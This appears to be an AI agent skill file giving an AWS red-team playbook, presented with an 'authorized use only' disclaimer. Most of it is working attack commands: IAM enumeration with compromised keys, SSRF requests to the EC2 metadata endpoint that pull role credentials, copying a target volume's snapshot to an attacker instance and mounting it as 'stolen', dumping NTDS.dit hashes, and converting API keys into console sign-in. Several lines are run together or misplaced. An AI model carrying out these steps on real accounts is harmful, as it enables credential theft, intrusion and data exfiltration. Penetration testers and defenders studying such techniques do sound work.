Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
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Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
AWS Penetration Testing
Purpose
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
Identify the compromised identity and permissions:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
Step 2: IAM Enumeration
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
Step 3: Metadata SSRF (EC2)
Exploit SSRF to access metadata endpoint (IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
For IMDSv2 (token required):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and accesssudomkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
Shadow Copy Attack (Windows DC)
# CloudCopy technique# 1. Create snapshot of DC volume# 2. Share snapshot with attacker account# 3. Mount in attacker instance# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
Console Access from API Keys
Convert CLI credentials to console access:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access